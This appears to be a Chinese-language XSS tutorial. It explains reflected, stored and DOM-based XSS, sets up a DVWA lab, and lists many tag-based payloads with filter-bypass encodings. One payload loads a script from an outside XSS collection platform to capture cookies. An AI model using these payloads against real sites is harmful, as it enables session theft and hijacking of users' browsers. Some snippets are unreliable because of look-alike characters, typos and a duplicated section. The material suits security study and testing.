XSS
XSS的简介
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表的(Cascading Style Sheetes,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页的时候,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击正对的是用户层面的攻击。
XSS漏洞分类
反射性XSS
反射型XSS介绍
反射型XSS是非持久性、参数型的跨站脚本。反射型XSS的JS代码再Web应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可出发反射型XSS。
**注:**所谓非持久性是指该操作不会进入数据库,只能在页面上展示。
下面也a
标签举例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a href="javascript:alert(1)">aaaa</a>
</body>
</html>
此时的页面就会进行一次弹窗,但是由于没有进入数据库,所以不会多次弹窗
除此之外能出发反射型XSS标签还有:
<script>prompt(1)</script>
<svg/οnlοad=alert(1)>
<img src="1" onerro=alert(1)/>
反射型XSS攻击流程
反射型XSS测试
**测试平台:**https://xss9.com/
创建一个xss项目
根据项目内的题是进行测试
将以下代码插入到怀疑出现xss的地方
<sCRiPt sRC=https://xss9.com/2F1N></sCrIpT>
然后在浏览器中访问
可以看到浏览器访问到了2F1N的字段
然后在xss9.com中就会收到相应的请求信息
靶场测试
靶场下载地址:
https://github.com/digininja/DvWA/archive/master.zip
下载后解压到/PHPStudy/www/目录下并将名字改为dvwa
打开WWW/dvwa/config目录,将config.inc.php.disc文件按的后缀 .disc删掉
然后打开该文件,修改一下内容
打开phpstudy_pro\Extensions\php\php7.3.4nts下的php.ini
然后就可以在浏览器中访问在这个靶场了
如果浏览器访问结果是php源码,请注意phpStudy的服务器是否打开(我就在这里上当了)
打开靶场,可以查看到aaa的输出位置
将dwva等级换成LOW
然后输入测试代码
随后就能获得相应的登录信息,包含COOKIE值
存储型XSS
存储型XSS是持久性跨站脚本。持久性体现在XSS代码不是某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS使用的JS代码,JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员都得身份从,查看留言。
存储型XSS攻击过程
因为XSS存储到了数据库中,所以每次刷新都会弹出1
基于DOM的XSS
DOM XSS比较特殊。owasp关于DOM型号XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM XSS比较难以检测。
通过修改default值,修改后的值会自动反映到页面上
常见的XSS攻击方式
script标签
<script>标签用于定义客户端脚本,比如JavaScript
<script>alert(1)</script>
img标签
<img>标签定义HTML页面中的画像
<img src=1 onerror=alert(1)>
input标签
<input>标签规定了用户可以在其中输入是数据的输入字段=
//onfocus 实践在对象获得焦点时发生
<input onfocus=alert(1);>
竞争焦点,从而触发onblur事件
<input onblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<input onfocus="alert(1);" autofocus>
" οnclick=alert(1)> 这样需要点击一下输入框<br>
" onmouseover=alert(1)> 需要鼠标划过输入框<br>
details标签
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:
<details ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
<details open ontoggle=alert(1);>
select标签
<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
iframe标签
<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
video标签
<video> 标签定义视频,比如电影片段或其他视频流。
<video><source onerror=alert(1)>
audio标签
<audio> 标签定义声音,比如音乐或其他音频流。
<audio src=x onerror=alert(1);>
body标签
<body> 标签定义文档的主体。
<body onload=alert(1);>
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:
<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
taxtarea标签
<textarea> 标签定义一个多行的文本输入控件。
<textarea onfocus=alert(1); autofocus>
keygen标签
<keygen autofocus onfocus=alert(1)> //仅限火狐
marquee标签
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
isindex标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE
常见基本过滤方法
空格过滤
当空格被过滤了时,我们可以用 / 来代替空格:
/**/,注释符号绕过;/符号绕过;
<img/src="x"/onerror=alert(1);>
也可以:
<img/src="x"onerror=alert(1);>
引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
<img src=x onerror=alert(`xss`);>
括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
关键字过滤
大小写绕过
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
编码绕过
Unicode编码绕过
<img src="x" onerror="alert("xss");">
javascript:alert(/xss/) (编码了r和i)
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
ASCII码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤url地址
使用url
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
javascript:alert('xsshttp://')
使用IP
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
单引号闭合+htmlspecialchars函数绕过
'onmouseover='alert(/xss/)
JavaScript伪协议
"><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤